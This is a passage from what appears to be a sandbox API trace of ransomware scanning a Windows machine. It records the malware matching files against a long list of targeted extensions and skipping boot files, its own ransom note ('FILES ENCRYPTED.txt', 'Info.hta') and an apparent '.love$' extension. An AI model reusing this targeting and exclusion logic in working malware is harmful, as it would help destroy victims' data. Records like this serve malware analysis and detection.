-1 [0264.562] lstrlenW (lpString=".bmp") returned 4 [0264.563] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0264.563] lstrlenW (lpString=".bz2") returned 4 [0264.563] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0264.563] lstrlenW (lpString=".c") returned 2 [0264.563] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0264.563] lstrlenW (lpString=".cdr") returned 4 [0264.563] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0264.563] lstrlenW (lpString=".cer") returned 4 [0264.563] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0264.563] lstrlenW (lpString=".cf") returned 3 [0264.563] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0264.563] lstrlenW (lpString=".cfc") returned 4 [0264.563] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0264.563] lstrlenW (lpString=".cfm") returned 4 [0264.563] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0264.563] lstrlenW (lpString=".cfml") returned 5 [0264.563] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0264.563] lstrlenW (lpString=".cfu") returned 4 [0264.799] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0264.799] lstrlenW (lpString=".chm") returned 4 [0264.799] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0264.799] lstrlenW (lpString=".cin") returned 4 [0264.799] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0264.800] lstrlenW (lpString=".class") returned 6 [0264.800] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0264.800] lstrlenW (lpString=".clx") returned 4 [0264.800] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0264.800] lstrlenW (lpString=".config") returned 7 [0264.800] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0264.800] lstrlenW (lpString=".cpp") returned 4 [0264.800] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0264.800] lstrlenW (lpString=".cr2") returned 4 [0264.800] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0264.800] lstrlenW (lpString=".crt") returned 4 [0264.800] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0264.800] lstrlenW (lpString=".crw") returned 4 [0264.800] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0264.800] lstrlenW (lpString=".cs") returned 3 [0264.800] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0264.800] lstrlenW (lpString=".css") returned 4 [0264.801] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0264.801] lstrlenW (lpString=".csv") returned 4 [0264.801] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0264.801] lstrlenW (lpString=".cub") returned 4 [0264.801] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0264.801] lstrlenW (lpString=".dae") returned 4 [0264.801] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0264.801] lstrlenW (lpString=".dat") returned 4 [0264.801] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0264.801] lstrlenW (lpString=".db") returned 3 [0264.801] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0264.801] lstrlenW (lpString=".dbf") returned 4 [0264.801] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0264.801] lstrlenW (lpString=".dbx") returned 4 [0264.801] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0264.801] lstrlenW (lpString=".dc3") returned 4 [0264.801] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0264.802] lstrlenW (lpString=".dcm") returned 4 [0264.802] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0264.802] lstrlenW (lpString=".dcr") returned 4 [0264.802] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0264.802] lstrlenW (lpString=".der") returned 4 [0264.802] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0264.802] lstrlenW (lpString=".dib") returned 4 [0264.802] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0264.802] lstrlenW (lpString=".dic") returned 4 [0264.802] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0264.802] lstrlenW (lpString=".dif") returned 4 [0264.802] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0264.802] lstrlenW (lpString=".divx") returned 5 [0264.802] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0264.802] lstrlenW (lpString=".djvu") returned 5 [0264.802] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0264.802] lstrlenW (lpString=".dng") returned 4 [0264.803] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0264.803] lstrlenW (lpString=".doc") returned 4 [0264.803] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0264.803] lstrlenW (lpString=".docm") returned 5 [0264.803] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0264.803] lstrlenW (lpString=".docx") returned 5 [0264.803] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0264.803] lstrlenW (lpString=".dot") returned 4 [0264.803] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0264.803] lstrlenW (lpString=".dotm") returned 5 [0264.803] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0264.803] lstrlenW (lpString=".dotx") returned 5 [0264.803] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0264.803] lstrlenW (lpString=".dpx") returned 4 [0264.803] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0264.803] lstrlenW (lpString=".dqy") returned 4 [0264.803] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0264.803] lstrlenW (lpString=".dsn") returned 4 [0264.809] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0264.809] lstrlenW (lpString=".dt") returned 3 [0264.809] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0264.809] lstrlenW (lpString=".dtd") returned 4 [0264.809] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0264.809] lstrlenW (lpString=".dwg") returned 4 [0264.809] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0264.809] lstrlenW (lpString=".dwt") returned 4 [0264.809] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0264.809] lstrlenW (lpString=".dx") returned 3 [0264.809] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0264.809] lstrlenW (lpString=".dxf") returned 4 [0264.809] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0264.810] lstrlenW (lpString=".edml") returned 5 [0264.810] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0264.810] lstrlenW (lpString=".efd") returned 4 [0264.810] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0264.810] lstrlenW (lpString=".elf") returned 4 [0264.810] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0264.810] lstrlenW (lpString=".emf") returned 4 [0264.810] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0264.810] lstrlenW (lpString=".emz") returned 4 [0264.810] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0264.810] lstrlenW (lpString=".epf") returned 4 [0264.810] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0264.810] lstrlenW (lpString=".eps") returned 4 [0264.810] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0264.810] lstrlenW (lpString=".epsf") returned 5 [0264.810] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0264.810] lstrlenW (lpString=".epsp") returned 5 [0264.810] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0264.810] lstrlenW (lpString=".erf") returned 4 [0264.810] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0264.810] lstrlenW (lpString=".exr") returned 4 [0264.810] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0264.810] lstrlenW (lpString=".f4v") returned 4 [0264.810] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0264.811] lstrlenW (lpString=".fido") returned 5 [0264.811] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0264.811] lstrlenW (lpString=".flm") returned 4 [0264.811] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0264.811] lstrlenW (lpString=".flv") returned 4 [0264.811] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0264.811] lstrlenW (lpString=".frm") returned 4 [0264.811] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0264.811] lstrlenW (lpString=".fxg") returned 4 [0264.811] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0264.811] lstrlenW (lpString=".geo") returned 4 [0264.811] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0264.811] lstrlenW (lpString=".gif") returned 4 [0264.811] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0264.811] lstrlenW (lpString=".grs") returned 4 [0264.811] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0264.811] lstrlenW (lpString=".gz") returned 3 [0264.811] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0264.811] lstrlenW (lpString=".h") returned 2 [0264.811] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0264.811] lstrlenW (lpString=".hdr") returned 4 [0264.812] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0264.812] lstrlenW (lpString=".hpp") returned 4 [0264.812] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0264.812] lstrlenW (lpString=".hta") returned 4 [0264.812] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0264.812] lstrlenW (lpString=".htc") returned 4 [0264.812] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0264.812] lstrlenW (lpString=".htm") returned 4 [0264.812] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0264.812] lstrlenW (lpString=".html") returned 5 [0264.812] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0264.813] lstrlenW (lpString=".icb") returned 4 [0264.813] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0264.813] lstrlenW (lpString=".ics") returned 4 [0264.813] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0264.813] lstrlenW (lpString=".iff") returned 4 [0264.813] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0264.813] lstrlenW (lpString=".inc") returned 4 [0264.813] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0264.813] lstrlenW (lpString=".indd") returned 5 [0264.813] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0264.813] lstrlenW (lpString=".ini") returned 4 [0264.813] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0264.813] lstrlenW (lpString=".iqy") returned 4 [0264.813] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0264.813] lstrlenW (lpString=".j2c") returned 4 [0264.813] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0264.813] lstrlenW (lpString=".j2k") returned 4 [0264.813] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0264.813] lstrlenW (lpString=".java") returned 5 [0264.813] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0264.813] lstrlenW (lpString=".jp2") returned 4 [0264.813] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0264.813] lstrlenW (lpString=".jpc") returned 4 [0264.814] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0264.814] lstrlenW (lpString=".jpe") returned 4 [0264.814] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0264.814] lstrlenW (lpString=".jpeg") returned 5 [0264.814] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0264.814] lstrlenW (lpString=".jpf") returned 4 [0264.814] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0264.814] lstrlenW (lpString=".jpg") returned 4 [0264.814] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0264.814] lstrlenW (lpString=".jpx") returned 4 [0264.814] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0264.814] lstrlenW (lpString=".js") returned 3 [0264.814] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0264.814] lstrlenW (lpString="ui-strings.js") returned 13 [0264.814] lstrlenW (lpString=".love$") returned 6 [0264.814] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0264.814] lstrlenW (lpString="ui-strings.js") returned 13 [0264.815] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0264.815] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0264.815] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0264.815] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0264.815] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0264.815] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0264.815] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0264.815] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0264.815] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\ui-strings.js") returned 119 [0264.815] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.815] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0264.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0264.816] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.817] lstrlenW (lpString="ui-strings.js") returned 13 [0264.817] lstrlenW (lpString=".1cd") returned 4 [0264.817] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0264.817] lstrlenW (lpString=".3ds") returned 4 [0264.817] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0264.817] lstrlenW (lpString=".3fr") returned 4 [0264.817] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0264.817] lstrlenW (lpString=".3g2") returned 4 [0264.817] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0264.817] lstrlenW (lpString=".3gp") returned 4 [0264.817] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0264.817] lstrlenW (lpString=".7z") returned 3 [0264.817] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0264.817] lstrlenW (lpString=".accda") returned 6 [0264.817] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0264.817] lstrlenW (lpString=".accdb") returned 6 [0264.817] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0264.817] lstrlenW (lpString=".accdc") returned 6 [0264.817] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0264.817] lstrlenW (lpString=".accde") returned 6 [0264.818] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0264.818] lstrlenW (lpString=".accdt") returned 6 [0264.818] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0264.818] lstrlenW (lpString=".accdw") returned 6 [0264.818] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0264.818] lstrlenW (lpString=".adb") returned 4 [0264.818] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0264.818] lstrlenW (lpString=".adp") returned 4 [0264.818] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0264.818] lstrlenW (lpString=".ai") returned 3 [0264.818] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0264.818] lstrlenW (lpString=".ai3") returned 4 [0264.818] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0264.818] lstrlenW (lpString=".ai4") returned 4 [0264.818] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0264.818] lstrlenW (lpString=".ai5") returned 4 [0264.818] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0264.818] lstrlenW (lpString=".ai6") returned 4 [0264.818] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0264.818] lstrlenW (lpString=".ai7") returned 4 [0264.818] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0264.818] lstrlenW (lpString=".ai8") returned 4 [0264.818] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0264.819] lstrlenW (lpString=".anim") returned 5 [0264.819] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0264.819] lstrlenW (lpString=".arw") returned 4 [0264.819] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0264.819] lstrlenW (lpString=".as") returned 3 [0264.819] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0264.819] lstrlenW (lpString=".asa") returned 4 [0264.819] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0264.819] lstrlenW (lpString=".asc") returned 4 [0264.819] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0264.819] lstrlenW (lpString=".ascx") returned 5 [0264.819] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0264.819] lstrlenW (lpString=".asm") returned 4 [0264.819] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0264.819] lstrlenW (lpString=".asmx") returned 5 [0264.819] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0264.819] lstrlenW (lpString=".asp") returned 4 [0264.819] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0264.819] lstrlenW (lpString=".aspx") returned 5 [0264.820] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0264.820] lstrlenW (lpString=".asr") returned 4 [0264.820] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0264.820] lstrlenW (lpString=".asx") returned 4 [0264.820] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0264.820] lstrlenW (lpString=".avi") returned 4 [0264.820] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0264.820] lstrlenW (lpString=".avs") returned 4 [0264.820] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0264.820] lstrlenW (lpString=".backup") returned 7 [0264.820] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0264.820] lstrlenW (lpString=".bak") returned 4 [0264.820] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0264.820] lstrlenW (lpString=".bay") returned 4 [0264.820] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0264.821] lstrlenW (lpString=".bd") returned 3 [0264.821] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0264.821] lstrlenW (lpString=".bin") returned 4 [0264.821] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0264.821] lstrlenW (lpString=".bmp") returned 4 [0264.821] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0264.821] lstrlenW (lpString=".bz2") returned 4 [0264.821] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0264.821] lstrlenW (lpString=".c") returned 2 [0264.821] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0264.821] lstrlenW (lpString=".cdr") returned 4 [0264.821] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0264.821] lstrlenW (lpString=".cer") returned 4 [0264.821] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0264.821] lstrlenW (lpString=".cf") returned 3 [0264.821] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0264.821] lstrlenW (lpString=".cfc") returned 4 [0264.821] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0264.821] lstrlenW (lpString=".cfm") returned 4 [0264.821] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0264.821] lstrlenW (lpString=".cfml") returned 5 [0264.822] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0264.822] lstrlenW (lpString=".cfu") returned 4 [0264.822] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0264.822] lstrlenW (lpString=".chm") returned 4 [0264.822] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0264.822] lstrlenW (lpString=".cin") returned 4 [0264.822] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0264.822] lstrlenW (lpString=".class") returned 6 [0264.822] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0264.822] lstrlenW (lpString=".clx") returned 4 [0264.822] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0264.822] lstrlenW (lpString=".config") returned 7 [0264.822] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0264.822] lstrlenW (lpString=".cpp") returned 4 [0264.822] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0264.822] lstrlenW (lpString=".cr2") returned 4 [0264.822] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0264.822] lstrlenW (lpString=".crt") returned 4 [0264.822] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0264.823] lstrlenW (lpString=".crw") returned 4 [0264.823] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0264.823] lstrlenW (lpString=".cs") returned 3 [0264.823] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0264.823] lstrlenW (lpString=".css") returned 4 [0264.823] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0264.823] lstrlenW (lpString=".csv") returned 4 [0264.823] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0264.823] lstrlenW (lpString=".cub") returned 4 [0264.823] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0264.823] lstrlenW (lpString=".dae") returned 4 [0264.823] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0264.823] lstrlenW (lpString=".dat") returned 4 [0264.823] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0264.823] lstrlenW (lpString=".db") returned 3 [0264.823] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0264.823] lstrlenW (lpString=".dbf") returned 4 [0264.823] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0264.823] lstrlenW (lpString=".dbx") returned 4 [0264.823] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0264.823] lstrlenW (lpString=".dc3") returned 4 [0264.824] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0264.824] lstrlenW (lpString=".dcm") returned 4 [0264.824] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0264.824] lstrlenW (lpString=".dcr") returned 4 [0264.824] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0264.824] lstrlenW (lpString=".der") returned 4 [0264.824] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0264.824] lstrlenW (lpString=".dib") returned 4 [0264.824] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0264.824] lstrlenW (lpString=".dic") returned 4 [0264.824] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0264.824] lstrlenW (lpString=".dif") returned 4 [0264.824] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0264.824] lstrlenW (lpString=".divx") returned 5 [0264.824] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0264.824] lstrlenW (lpString=".djvu") returned 5 [0264.824] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0264.825] lstrlenW (lpString=".dng") returned 4 [0264.825] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0264.825] lstrlenW (lpString=".doc") returned 4 [0264.825] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0264.825] lstrlenW (lpString=".docm") returned 5 [0264.825] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0264.825] lstrlenW (lpString=".docx") returned 5 [0264.825] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0264.825] lstrlenW (lpString=".dot") returned 4 [0264.825] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0264.825] lstrlenW (lpString=".dotm") returned 5 [0264.825] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0264.825] lstrlenW (lpString=".dotx") returned 5 [0264.825] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0264.825] lstrlenW (lpString=".dpx") returned 4 [0264.825] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0264.825] lstrlenW (lpString=".dqy") returned 4 [0264.825] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0264.825] lstrlenW (lpString=".dsn") returned 4 [0264.825] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0264.825] lstrlenW (lpString=".dt") returned 3 [0264.825] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0264.825] lstrlenW (lpString=".dtd") returned 4 [0264.825] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0264.825] lstrlenW (lpString=".dwg") returned 4 [0264.825] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0264.826] lstrlenW (lpString=".dwt") returned 4 [0264.826] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0264.826] lstrlenW (lpString=".dx") returned 3 [0264.826] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0264.826] lstrlenW (lpString=".dxf") returned 4 [0264.826] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0264.826] lstrlenW (lpString=".edml") returned 5 [0264.826] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0264.826] lstrlenW (lpString=".efd") returned 4 [0264.826] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0264.826] lstrlenW (lpString=".elf") returned 4 [0264.826] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0264.826] lstrlenW (lpString=".emf") returned 4 [0264.826] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0264.826] lstrlenW (lpString=".emz") returned 4 [0264.826] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0264.826] lstrlenW (lpString=".epf") returned 4 [0264.826] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0264.826] lstrlenW (lpString=".eps") returned 4 [0264.826] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0264.826] lstrlenW (lpString=".epsf") returned 5 [0264.826] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0264.826] lstrlenW (lpString=".epsp") returned 5 [0264.826] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0264.826] lstrlenW (lpString=".erf") returned 4 [0264.826] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0264.827] lstrlenW (lpString=".exr") returned 4 [0264.827] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0264.827] lstrlenW (lpString=".f4v") returned 4 [0264.827] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0264.827] lstrlenW (lpString=".fido") returned 5 [0264.827] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0264.827] lstrlenW (lpString=".flm") returned 4 [0264.827] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0264.827] lstrlenW (lpString=".flv") returned 4 [0264.827] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0264.827] lstrlenW (lpString=".frm") returned 4 [0264.827] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0264.827] lstrlenW (lpString=".fxg") returned 4 [0264.827] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0264.828] lstrlenW (lpString=".geo") returned 4 [0264.828] lstrcmpiW 